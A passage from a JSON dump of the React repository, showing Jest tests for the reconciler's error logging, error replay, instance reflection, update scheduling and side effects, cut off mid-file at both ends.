assertLog(['Everything is fine.']);\n    assertConsoleErrorDev([\n      'Error: There was an error during concurrent rendering but React was able to recover by instead synchronously rendering the entire root.' +\n        '\\n    in <stack>',\n    ]);\n    expect(root).toMatchRenderedOutput('Everything is fine.');\n  });\n\n  it(\"does not infinite loop if there's a render phase update in the same render as an error\", async () => {\n    // Some React features may schedule a render phase update as an\n    // implementation detail. When an error is accompanied by a render phase\n    // update, we assume that it comes from React internals, because render\n    // phase updates triggered from userspace are not allowed (we log a\n    // warning). So we keep attempting to recover until no more opaque\n    // identifiers need to be upgraded. However, we should give up after some\n    // point to prevent an infinite loop in the case where there is (by\n    // accident) a render phase triggered from userspace.\n\n    spyOnDev(console, 'error').mockImplementation(() => {});\n    spyOnDev(console, 'warn').mockImplementation(() => {});\n\n    let numberOfThrows = 0;\n\n    let setStateInRenderPhase;\n    function Child() {\n      const [, setState] = React.useState(0);\n      setStateInRenderPhase = setState;\n      return 'All good';\n    }\n\n    function App({shouldThrow}) {\n      if (shouldThrow) {\n        setStateInRenderPhase();\n        numberOfThrows++;\n        throw new Error('Oops!');\n      }\n      return <Child />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App shouldThrow={false} />);\n    });\n    expect(root).toMatchRenderedOutput('All good');\n\n    let error;\n    try {\n      await act(() => {\n        root.render(<App shouldThrow={true} />);\n      });\n    } catch (e) {\n      error = e;\n    }\n\n    expect(error.message).toBe('Oops!');\n    expect(numberOfThrows < 100).toBe(true);\n\n    if (__DEV__) {\n      expect(console.error).toHaveBeenCalledTimes(1);\n      expect(console.error.mock.calls[0][0]).toContain(\n        'Cannot update a component (`%s`) while rendering a different component',\n      );\n      expect(console.warn).toHaveBeenCalledTimes(1);\n      expect(console.warn.mock.calls[0][1]).toContain(\n        'An error occurred in the <App> component',\n      );\n    }\n  });\n\n  if (global.__PERSISTENT__) {\n    it('regression test: should fatal if error is thrown at the root', async () => {\n      const root = ReactNoop.createRoot();\n      root.render('Error when completing root');\n      await waitForThrow('Error when completing root');\n    });\n  }\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactIncrementalErrorLogging-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet waitForAll;\nlet uncaughtExceptionMock;\n\nasync function fakeAct(cb) {\n  // We don't use act/waitForThrow here because we want to observe how errors are reported for real.\n  await cb();\n  Scheduler.unstable_flushAll();\n}\n\ndescribe('ReactIncrementalErrorLogging', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n  });\n\n  // Note: in this test file we won't be using assertConsoleDev() matchers\n  // because they filter out precisely the messages we want to test for.\n  let oldConsoleWarn;\n  let oldConsoleError;\n  beforeEach(() => {\n    oldConsoleWarn = console.warn;\n    oldConsoleError = console.error;\n    console.warn = jest.fn();\n    console.error = jest.fn();\n    uncaughtExceptionMock = jest.fn();\n    process.on('uncaughtException', uncaughtExceptionMock);\n  });\n\n  afterEach(() => {\n    console.warn = oldConsoleWarn;\n    console.error = oldConsoleError;\n    process.off('uncaughtException', uncaughtExceptionMock);\n    oldConsoleWarn = null;\n    oldConsoleError = null;\n    uncaughtExceptionMock = null;\n  });\n\n  it('should log errors that occur during the begin phase', async () => {\n    class ErrorThrowingComponent extends React.Component {\n      constructor(props) {\n        super(props);\n        throw new Error('constructor error');\n      }\n      render() {\n        return <div />;\n      }\n    }\n    await fakeAct(() => {\n      ReactNoop.render(\n        <div>\n          <span>\n            <ErrorThrowingComponent />\n          </span>\n        </div>,\n      );\n    });\n    expect(uncaughtExceptionMock).toHaveBeenCalledTimes(1);\n    expect(uncaughtExceptionMock).toHaveBeenCalledWith(\n      expect.objectContaining({\n        message: 'constructor error',\n      }),\n    );\n    if (__DEV__) {\n      expect(console.warn).toHaveBeenCalledTimes(1);\n      expect(console.warn).toHaveBeenCalledWith(\n        expect.stringContaining('%s'),\n        expect.stringContaining(\n          'An error occurred in the <ErrorThrowingComponent> component.',\n        ),\n        expect.stringContaining(\n          'Consider adding an error boundary to your tree ' +\n            'to customize error handling behavior.',\n        ),\n        // The component stack is not added without the polyfill/devtools.\n        // expect.stringMatching(\n        //  new RegExp(\n        //    '\\\\s+(in|at) ErrorThrowingComponent'\n        //  ),\n        // ),\n      );\n    }\n  });\n\n  it('should log errors that occur during the commit phase', async () => {\n    class ErrorThrowingComponent extends React.Component {\n      componentDidMount() {\n        throw new Error('componentDidMount error');\n      }\n      render() {\n        return <div />;\n      }\n    }\n    await fakeAct(() => {\n      ReactNoop.render(\n        <div>\n          <span>\n            <ErrorThrowingComponent />\n          </span>\n        </div>,\n      );\n    });\n    expect(uncaughtExceptionMock).toHaveBeenCalledTimes(1);\n    expect(uncaughtExceptionMock).toHaveBeenCalledWith(\n      expect.objectContaining({\n        message: 'componentDidMount error',\n      }),\n    );\n    if (__DEV__) {\n      expect(console.warn).toHaveBeenCalledTimes(1);\n      expect(console.warn).toHaveBeenCalledWith(\n        expect.stringContaining('%s'),\n        expect.stringContaining(\n          'An error occurred in the <ErrorThrowingComponent> component.',\n        ),\n        expect.stringContaining(\n          'Consider adding an error boundary to your tree ' +\n            'to customize error handling behavior.',\n        ),\n        // The component stack is not added without the polyfill/devtools.\n        // expect.stringMatching(\n        //   new RegExp(\n        //     '\\\\s+(in|at) ErrorThrowingComponent'\n        //   ),\n        // ),\n      );\n    }\n  });\n\n  it('should ignore errors thrown in log method to prevent cycle', async () => {\n    const logCapturedErrorCalls = [];\n    console.error.mockImplementation(error => {\n      // Test what happens when logging itself is buggy.\n      logCapturedErrorCalls.push(error);\n      throw new Error('logCapturedError error');\n    });\n\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        this.setState({error});\n      }\n      render() {\n        return this.state.error ? null : this.props.children;\n      }\n    }\n    class ErrorThrowingComponent extends React.Component {\n      render() {\n        throw new Error('render error');\n      }\n    }\n    await fakeAct(() => {\n      ReactNoop.render(\n        <div>\n          <ErrorBoundary>\n            <span>\n              <ErrorThrowingComponent />\n            </span>\n          </ErrorBoundary>\n        </div>,\n      );\n    });\n    expect(logCapturedErrorCalls.length).toBe(1);\n    if (__DEV__) {\n      expect(console.error).toHaveBeenCalledWith(\n        expect.stringContaining('%o'),\n        expect.objectContaining({\n          message: 'render error',\n        }),\n        expect.stringContaining(\n          'The above error occurred in the <ErrorThrowingComponent> component.',\n        ),\n        expect.stringContaining(\n          'React will try to recreate this component tree from scratch ' +\n            'using the error boundary you provided, ErrorBoundary.',\n        ),\n        // The component stack is not added without the polyfill/devtools.\n        // expect.stringMatching(\n        //   new RegExp(\n        //     '\\\\s+(in|at) ErrorThrowingComponent'\n        //   ),\n        // ),\n      );\n    } else {\n      expect(logCapturedErrorCalls[0]).toEqual(\n        expect.objectContaining({\n          message: 'render error',\n        }),\n      );\n    }\n    // The error thrown in logCapturedError should be rethrown with a clean stack\n    expect(() => {\n      jest.runAllTimers();\n    }).toThrow('logCapturedError error');\n  });\n\n  it('does not report internal Offscreen component for errors thrown during reconciliation inside Suspense', async () => {\n    // When a child of Suspense throws during reconciliation (not render),\n    // a Throw fiber is created whose .return is the internal Offscreen fiber.\n    // We should skip Offscreen since it's an internal\n    // implementation detail and walk up to Suspense instead.\n    const lazyChild = React.lazy(() => {\n      throw new Error('lazy init error');\n    });\n\n    await fakeAct(() => {\n      ReactNoop.render(\n        <React.Suspense fallback={<div />}>{lazyChild}</React.Suspense>,\n      );\n    });\n    expect(uncaughtExceptionMock).toHaveBeenCalledTimes(1);\n    expect(uncaughtExceptionMock).toHaveBeenCalledWith(\n      expect.objectContaining({\n        message: 'lazy init error',\n      }),\n    );\n    if (__DEV__) {\n      expect(console.warn).toHaveBeenCalledTimes(1);\n      expect(console.warn.mock.calls[0]).toEqual([\n        '%s\\n\\n%s\\n',\n        'An error occurred in the <Suspense> component.',\n        'Consider adding an error boundary to your tree to customize error handling behavior.\\n' +\n          'Visit https://react.dev/link/error-boundaries to learn more about error boundaries.',\n      ]);\n    }\n  });\n\n  it('does not report internal Offscreen component for errors thrown during reconciliation inside Activity', async () => {\n    // Same as the Suspense test above — Activity also wraps its children in\n    // an internal Offscreen fiber. The error message should show Activity,\n    // not Offscreen.\n    const lazyChild = React.lazy(() => {\n      throw new Error('lazy init error');\n    });\n\n    await fakeAct(() => {\n      ReactNoop.render(\n        <React.Activity mode=\"visible\">{lazyChild}</React.Activity>,\n      );\n    });\n    expect(uncaughtExceptionMock).toHaveBeenCalledTimes(1);\n    expect(uncaughtExceptionMock).toHaveBeenCalledWith(\n      expect.objectContaining({\n        message: 'lazy init error',\n      }),\n    );\n    if (__DEV__) {\n      expect(console.warn).toHaveBeenCalledTimes(1);\n      expect(console.warn.mock.calls[0]).toEqual([\n        '%s\\n\\n%s\\n',\n        'An error occurred in the <Activity> component.',\n        'Consider adding an error boundary to your tree to customize error handling behavior.\\n' +\n          'Visit https://react.dev/link/error-boundaries to learn more about error boundaries.',\n      ]);\n    }\n  });\n\n  it('resets instance variables before unmounting failed node', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        this.setState({error});\n      }\n      render() {\n        return this.state.error ? null : this.props.children;\n      }\n    }\n    class Foo extends React.Component {\n      state = {step: 0};\n      componentDidMount() {\n        this.setState({step: 1});\n      }\n      componentWillUnmount() {\n        Scheduler.log('componentWillUnmount: ' + this.state.step);\n      }\n      render() {\n        Scheduler.log('render: ' + this.state.step);\n        if (this.state.step > 0) {\n          throw new Error('oops');\n        }\n        return null;\n      }\n    }\n\n    ReactNoop.render(\n      <ErrorBoundary>\n        <Foo />\n      </ErrorBoundary>,\n    );\n    await waitForAll(\n      [\n        'render: 0',\n\n        'render: 1',\n\n        // Retry one more time before handling error\n        'render: 1',\n\n        'componentWillUnmount: 0',\n      ].filter(Boolean),\n    );\n\n    expect(console.error).toHaveBeenCalledTimes(1);\n    if (__DEV__) {\n      expect(console.error).toHaveBeenCalledWith(\n        expect.stringContaining('%o'),\n        expect.objectContaining({\n          message: 'oops',\n        }),\n        expect.stringContaining(\n          'The above error occurred in the <Foo> component.',\n        ),\n        expect.stringContaining(\n          'React will try to recreate this component tree from scratch ' +\n            'using the error boundary you provided, ErrorBoundary.',\n        ),\n        // The component stack is not added without the polyfill/devtools.\n        // expect.stringMatching(\n        //   new RegExp('\\\\s+(in|at) Foo')\n        // ),\n      );\n    } else {\n      expect(console.error).toHaveBeenCalledWith(\n        expect.objectContaining({\n          message: 'oops',\n        }),\n      );\n    }\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactIncrementalErrorReplay-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet assertConsoleErrorDev;\nlet waitForAll;\nlet waitForThrow;\n\ndescribe('ReactIncrementalErrorReplay', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n    waitForAll = InternalTestUtils.waitForAll;\n    waitForThrow = InternalTestUtils.waitForThrow;\n  });\n\n  it('should fail gracefully on error in the host environment', async () => {\n    ReactNoop.render(<errorInBeginPhase />);\n    await waitForThrow('Error in host config.');\n  });\n\n  it(\"should ignore error if it doesn't throw on retry\", async () => {\n    let didInit = false;\n\n    function badLazyInit() {\n      const needsInit = !didInit;\n      didInit = true;\n      if (needsInit) {\n        throw new Error('Hi');\n      }\n    }\n\n    class App extends React.Component {\n      render() {\n        badLazyInit();\n        return <div />;\n      }\n    }\n    ReactNoop.render(<App />);\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Error: There was an error during concurrent rendering but React was able to recover by instead synchronously rendering the entire root.' +\n        '\\n    in <stack>',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactIncrementalReflection-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet waitFor;\nlet waitForAll;\n\ndescribe('ReactIncrementalReflection', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitFor = InternalTestUtils.waitFor;\n    waitForAll = InternalTestUtils.waitForAll;\n  });\n\n  function div(...children) {\n    children = children.map(c =>\n      typeof c === 'string' ? {text: c, hidden: false} : c,\n    );\n    return {type: 'div', children, prop: undefined, hidden: false};\n  }\n\n  function span(prop) {\n    return {type: 'span', children: [], prop, hidden: false};\n  }\n\n  it('finds no node before insertion and correct node before deletion', async () => {\n    let classInstance = null;\n\n    function findInstance(inst) {\n      // We ignore warnings fired by findInstance because we are testing\n      // that the actual behavior still works as expected even though it\n      // is deprecated.\n      const oldConsoleError = console.error;\n      console.error = jest.fn();\n      try {\n        return ReactNoop.findInstance(inst);\n      } finally {\n        console.error = oldConsoleError;\n      }\n    }\n\n    class Component extends React.Component {\n      UNSAFE_componentWillMount() {\n        classInstance = this;\n        Scheduler.log(['componentWillMount', findInstance(this)]);\n      }\n      componentDidMount() {\n        Scheduler.log(['componentDidMount', findInstance(this)]);\n      }\n      UNSAFE_componentWillUpdate() {\n        Scheduler.log(['componentWillUpdate', findInstance(this)]);\n      }\n      componentDidUpdate() {\n        Scheduler.log(['componentDidUpdate', findInstance(this)]);\n      }\n      componentWillUnmount() {\n        Scheduler.log(['componentWillUnmount', findInstance(this)]);\n      }\n      render() {\n        Scheduler.log('render');\n        return this.props.step < 2 ? (\n          <span ref={ref => (this.span = ref)} />\n        ) : this.props.step === 2 ? (\n          <div ref={ref => (this.div = ref)} />\n        ) : this.props.step === 3 ? null : this.props.step === 4 ? (\n          <div ref={ref => (this.span = ref)} />\n        ) : null;\n      }\n    }\n\n    function Sibling() {\n      // Sibling is used to assert that we've rendered past the first component.\n      Scheduler.log('render sibling');\n      return <span />;\n    }\n\n    function Foo(props) {\n      return [<Component key=\"a\" step={props.step} />, <Sibling key=\"b\" />];\n    }\n\n    React.startTransition(() => {\n      ReactNoop.render(<Foo step={0} />);\n    });\n    // Flush past Component but don't complete rendering everything yet.\n    await waitFor([['componentWillMount', null], 'render', 'render sibling']);\n\n    expect(classInstance).toBeDefined();\n    // The instance has been complete but is still not committed so it should\n    // not find any host nodes in it.\n    expect(findInstance(classInstance)).toBe(null);\n\n    await waitForAll([['componentDidMount', span()]]);\n\n    const hostSpan = classInstance.span;\n    expect(hostSpan).toBeDefined();\n\n    expect(findInstance(classInstance)).toBe(hostSpan);\n\n    // Flush next step which will cause an update but not yet render a new host\n    // node.\n    ReactNoop.render(<Foo step={1} />);\n    await waitForAll([\n      ['componentWillUpdate', hostSpan],\n      'render',\n      'render sibling',\n      ['componentDidUpdate', hostSpan],\n    ]);\n\n    expect(ReactNoop.findInstance(classInstance)).toBe(hostSpan);\n\n    // The next step will render a new host node but won't get committed yet.\n    // We expect this to mutate the original Fiber.\n    React.startTransition(() => {\n      ReactNoop.render(<Foo step={2} />);\n    });\n    await waitFor([\n      ['componentWillUpdate', hostSpan],\n      'render',\n      'render sibling',\n    ]);\n\n    // This should still be the host span.\n    expect(ReactNoop.findInstance(classInstance)).toBe(hostSpan);\n\n    // When we finally flush the tree it will get committed.\n    await waitForAll([['componentDidUpdate', div()]]);\n\n    const hostDiv = classInstance.div;\n    expect(hostDiv).toBeDefined();\n    expect(hostSpan).not.toBe(hostDiv);\n\n    // We should now find the new host node.\n    expect(ReactNoop.findInstance(classInstance)).toBe(hostDiv);\n\n    // Render to null but don't commit it yet.\n    React.startTransition(() => {\n      ReactNoop.render(<Foo step={3} />);\n    });\n    await waitFor([\n      ['componentWillUpdate', hostDiv],\n      'render',\n      'render sibling',\n    ]);\n\n    // This should still be the host div since the deletion is not committed.\n    expect(ReactNoop.findInstance(classInstance)).toBe(hostDiv);\n\n    await waitForAll([['componentDidUpdate', null]]);\n\n    // This should still be the host div since the deletion is not committed.\n    expect(ReactNoop.findInstance(classInstance)).toBe(null);\n\n    // Render a div again\n    ReactNoop.render(<Foo step={4} />);\n    await waitForAll([\n      ['componentWillUpdate', null],\n      'render',\n      'render sibling',\n      ['componentDidUpdate', div()],\n    ]);\n\n    // Unmount the component.\n    ReactNoop.render([]);\n    await waitForAll([['componentWillUnmount', hostDiv]]);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactIncrementalScheduling-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet waitForAll;\nlet waitFor;\nlet assertLog;\nlet waitForPaint;\n\ndescribe('ReactIncrementalScheduling', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    waitFor = InternalTestUtils.waitFor;\n    assertLog = InternalTestUtils.assertLog;\n    waitForPaint = InternalTestUtils.waitForPaint;\n  });\n\n  it('schedules and flushes deferred work', async () => {\n    ReactNoop.render(<span prop=\"1\" />);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"1\" />);\n  });\n\n  it('searches for work on other roots once the current root completes', async () => {\n    ReactNoop.renderToRootWithID(<span prop=\"a:1\" />, 'a');\n    ReactNoop.renderToRootWithID(<span prop=\"b:1\" />, 'b');\n    ReactNoop.renderToRootWithID(<span prop=\"c:1\" />, 'c');\n\n    await waitForAll([]);\n\n    expect(ReactNoop.getChildrenAsJSX('a')).toEqual(<span prop=\"a:1\" />);\n    expect(ReactNoop.getChildrenAsJSX('b')).toEqual(<span prop=\"b:1\" />);\n    expect(ReactNoop.getChildrenAsJSX('c')).toEqual(<span prop=\"c:1\" />);\n  });\n\n  it('schedules top-level updates in order of priority', async () => {\n    // Initial render.\n    ReactNoop.render(<span prop={1} />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop={1} />);\n\n    ReactNoop.batchedUpdates(() => {\n      ReactNoop.render(<span prop={5} />);\n      ReactNoop.flushSync(() => {\n        ReactNoop.render(<span prop={2} />);\n        ReactNoop.render(<span prop={3} />);\n        ReactNoop.render(<span prop={4} />);\n      });\n    });\n    // The sync updates flush first.\n    expect(ReactNoop).toMatchRenderedOutput(<span prop={4} />);\n\n    // The terminal value should be the last update that was scheduled,\n    // regardless of priority. In this case, that's the last sync update.\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop={4} />);\n  });\n\n  it('schedules top-level updates with same priority in order of insertion', async () => {\n    // Initial render.\n    ReactNoop.render(<span prop={1} />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop={1} />);\n\n    ReactNoop.render(<span prop={2} />);\n    ReactNoop.render(<span prop={3} />);\n    ReactNoop.render(<span prop={4} />);\n    ReactNoop.render(<span prop={5} />);\n\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop={5} />);\n  });\n\n  it('works on deferred roots in the order they were scheduled', async () => {\n    const {useEffect} = React;\n    function Text({text}) {\n      useEffect(() => {\n        Scheduler.log(text);\n      }, [text]);\n      return text;\n    }\n\n    await act(() => {\n      ReactNoop.renderToRootWithID(<Text text=\"a:1\" />, 'a');\n      ReactNoop.renderToRootWithID(<Text text=\"b:1\" />, 'b');\n      ReactNoop.renderToRootWithID(<Text text=\"c:1\" />, 'c');\n    });\n    assertLog(['a:1', 'b:1', 'c:1']);\n\n    expect(ReactNoop.getChildrenAsJSX('a')).toEqual('a:1');\n    expect(ReactNoop.getChildrenAsJSX('b')).toEqual('b:1');\n    expect(ReactNoop.getChildrenAsJSX('c')).toEqual('c:1');\n\n    // Schedule deferred work in the reverse order\n    await act(async () => {\n      React.startTransition(() => {\n        ReactNoop.renderToRootWithID(<Text text=\"c:2\" />, 'c');\n        ReactNoop.renderToRootWithID(<Text text=\"b:2\" />, 'b');\n      });\n      // Ensure it starts in the order it was scheduled\n      await waitFor(['c:2']);\n\n      expect(ReactNoop.getChildrenAsJSX('a')).toEqual('a:1');\n      expect(ReactNoop.getChildrenAsJSX('b')).toEqual('b:1');\n      expect(ReactNoop.getChildrenAsJSX('c')).toEqual('c:2');\n      // Schedule last bit of work, it will get processed the last\n\n      React.startTransition(() => {\n        ReactNoop.renderToRootWithID(<Text text=\"a:2\" />, 'a');\n      });\n\n      // Keep performing work in the order it was scheduled\n      await waitFor(['b:2']);\n      expect(ReactNoop.getChildrenAsJSX('a')).toEqual('a:1');\n      expect(ReactNoop.getChildrenAsJSX('b')).toEqual('b:2');\n      expect(ReactNoop.getChildrenAsJSX('c')).toEqual('c:2');\n\n      await waitFor(['a:2']);\n      expect(ReactNoop.getChildrenAsJSX('a')).toEqual('a:2');\n      expect(ReactNoop.getChildrenAsJSX('b')).toEqual('b:2');\n      expect(ReactNoop.getChildrenAsJSX('c')).toEqual('c:2');\n    });\n  });\n\n  it('schedules sync updates when inside componentDidMount/Update', async () => {\n    let instance;\n\n    class Foo extends React.Component {\n      state = {tick: 0};\n\n      componentDidMount() {\n        Scheduler.log(\n          'componentDidMount (before setState): ' + this.state.tick,\n        );\n        this.setState({tick: 1});\n        // We're in a batch. Update hasn't flushed yet.\n        Scheduler.log('componentDidMount (after setState): ' + this.state.tick);\n      }\n\n      componentDidUpdate() {\n        Scheduler.log('componentDidUpdate: ' + this.state.tick);\n        if (this.state.tick === 2) {\n          Scheduler.log(\n            'componentDidUpdate (before setState): ' + this.state.tick,\n          );\n          this.setState({tick: 3});\n          Scheduler.log(\n            'componentDidUpdate (after setState): ' + this.state.tick,\n          );\n          // We're in a batch. Update hasn't flushed yet.\n        }\n      }\n\n      render() {\n        Scheduler.log('render: ' + this.state.tick);\n        instance = this;\n        return <span prop={this.state.tick} />;\n      }\n    }\n\n    React.startTransition(() => {\n      ReactNoop.render(<Foo />);\n    });\n    // Render without committing\n    await waitFor(['render: 0']);\n\n    // Do one more unit of work to commit\n    expect(ReactNoop.flushNextYield()).toEqual([\n      'componentDidMount (before setState): 0',\n      'componentDidMount (after setState): 0',\n      // If the setState inside componentDidMount were deferred, there would be\n      // no more ops. Because it has Task priority, we get these ops, too:\n      'render: 1',\n      'componentDidUpdate: 1',\n    ]);\n\n    React.startTransition(() => {\n      instance.setState({tick: 2});\n    });\n    await waitFor(['render: 2']);\n    expect(ReactNoop.flushNextYield()).toEqual([\n      'componentDidUpdate: 2',\n      'componentDidUpdate (before setState): 2',\n      'componentDidUpdate (after setState): 2',\n      // If the setState inside componentDidUpdate were deferred, there would be\n      // no more ops. Because it has Task priority, we get these ops, too:\n      'render: 3',\n      'componentDidUpdate: 3',\n    ]);\n  });\n\n  it('can opt-in to async scheduling inside componentDidMount/Update', async () => {\n    let instance;\n    class Foo extends React.Component {\n      state = {tick: 0};\n\n      componentDidMount() {\n        React.startTransition(() => {\n          Scheduler.log(\n            'componentDidMount (before setState): ' + this.state.tick,\n          );\n          this.setState({tick: 1});\n          Scheduler.log(\n            'componentDidMount (after setState): ' + this.state.tick,\n          );\n        });\n      }\n\n      componentDidUpdate() {\n        React.startTransition(() => {\n          Scheduler.log('componentDidUpdate: ' + this.state.tick);\n          if (this.state.tick === 2) {\n            Scheduler.log(\n              'componentDidUpdate (before setState): ' + this.state.tick,\n            );\n            this.setState({tick: 3});\n            Scheduler.log(\n              'componentDidUpdate (after setState): ' + this.state.tick,\n            );\n          }\n        });\n      }\n\n      render() {\n        Scheduler.log('render: ' + this.state.tick);\n        instance = this;\n        return <span prop={this.state.tick} />;\n      }\n    }\n\n    ReactNoop.flushSync(() => {\n      ReactNoop.render(<Foo />);\n    });\n    // The cDM update should not have flushed yet because it has async priority.\n    assertLog([\n      'render: 0',\n      'componentDidMount (before setState): 0',\n      'componentDidMount (after setState): 0',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop={0} />);\n\n    // Now flush the cDM update.\n    await waitForAll(['render: 1', 'componentDidUpdate: 1']);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop={1} />);\n\n    React.startTransition(() => {\n      instance.setState({tick: 2});\n    });\n\n    await waitForPaint([\n      'render: 2',\n      'componentDidUpdate: 2',\n      'componentDidUpdate (before setState): 2',\n      'componentDidUpdate (after setState): 2',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop={2} />);\n\n    // Now flush the cDU update.\n    await waitForAll(['render: 3', 'componentDidUpdate: 3']);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop={3} />);\n  });\n\n  it('performs Task work even after time runs out', async () => {\n    class Foo extends React.Component {\n      state = {step: 1};\n      componentDidMount() {\n        this.setState({step: 2}, () => {\n          this.setState({step: 3}, () => {\n            this.setState({step: 4}, () => {\n              this.setState({step: 5});\n            });\n          });\n        });\n      }\n      render() {\n        Scheduler.log('Foo');\n        return <span prop={this.state.step} />;\n      }\n    }\n    React.startTransition(() => {\n      ReactNoop.render(<Foo />);\n    });\n\n    // This should be just enough to complete all the work, but not enough to\n    // commit it.\n    await waitFor(['Foo']);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    // Do one more unit of work.\n    ReactNoop.flushNextYield();\n    // The updates should all be flushed with Task priority\n    expect(ReactNoop).toMatchRenderedOutput(<span prop={5} />);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactIncrementalSideEffects-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet waitForAll;\nlet waitFor;\nlet waitForPaint;\n\ndescribe('ReactIncrementalSideEffects', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    waitFor = InternalTestUtils.waitFor;\n    waitForPaint = InternalTestUtils.waitForPaint;\n  });\n\n  // Note: This is based on a similar component we use in www. We can delete\n  // once the extra div wrapper is no longer necessary.\n  function LegacyHiddenDiv({children, mode}) {\n    return (\n      <div hidden={mode === 'hidden'}>\n        <React.unstable_LegacyHidden\n          mode={mode === 'hidden' ? 'unstable-defer-without-hiding' : mode}>\n          {children}\n        </React.unstable_LegacyHidden>\n      </div>\n    );\n  }\n\n  it('can update child nodes of a host instance', async () => {\n    function Bar(props) {\n      return <span>{props.text}</span>;\n    }\n\n    function Foo(props) {\n      return (\n        <div>\n          <Bar text={props.text} />\n          {props.text === 'World' ? <Bar text={props.text} /> : null}\n        </div>\n      );\n    }\n\n    ReactNoop.render(<Foo text=\"Hello\" />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span>Hello</span>\n      </div>,\n    );\n\n    ReactNoop.render(<Foo text=\"World\" />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span>World</span>\n        <span>World</span>\n      </div>,\n    );\n  });\n\n  it('can update child nodes of a fragment', async function () {\n    function Bar(props) {\n      return <span>{props.text}</span>;\n    }\n\n    function Foo(props) {\n      return (\n        <div>\n          <Bar text={props.text} />\n          {props.text === 'World'\n            ? [<Bar key=\"a\" text={props.text} />, <div key=\"b\" />]\n            : props.text === 'Hi'\n              ? [<div key=\"b\" />, <Bar key=\"a\" text={props.text} />]\n              : null}\n          <span prop=\"test\" />\n        </div>\n      );\n    }\n\n    ReactNoop.render(<Foo text=\"Hello\" />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span>Hello</span>\n        <span prop=\"test\" />\n      </div>,\n    );\n\n    ReactNoop.render(<Foo text=\"World\" />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span>World</span>\n        <span>World</span>\n        <div />\n        <span prop=\"test\" />\n      </div>,\n    );\n\n    ReactNoop.render(<Foo text=\"Hi\" />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span>Hi</span>\n        <div />\n        <span>Hi</span>\n        <span prop=\"test\" />\n      </div>,\n    );\n  });\n\n  it('can update child nodes rendering into text nodes', async function () {\n    function Bar(props) {\n      return props.text;\n    }\n\n    function Foo(props) {\n      return (\n        <div>\n          <Bar text={props.text} />\n          {props.text === 'World'\n            ? [<Bar 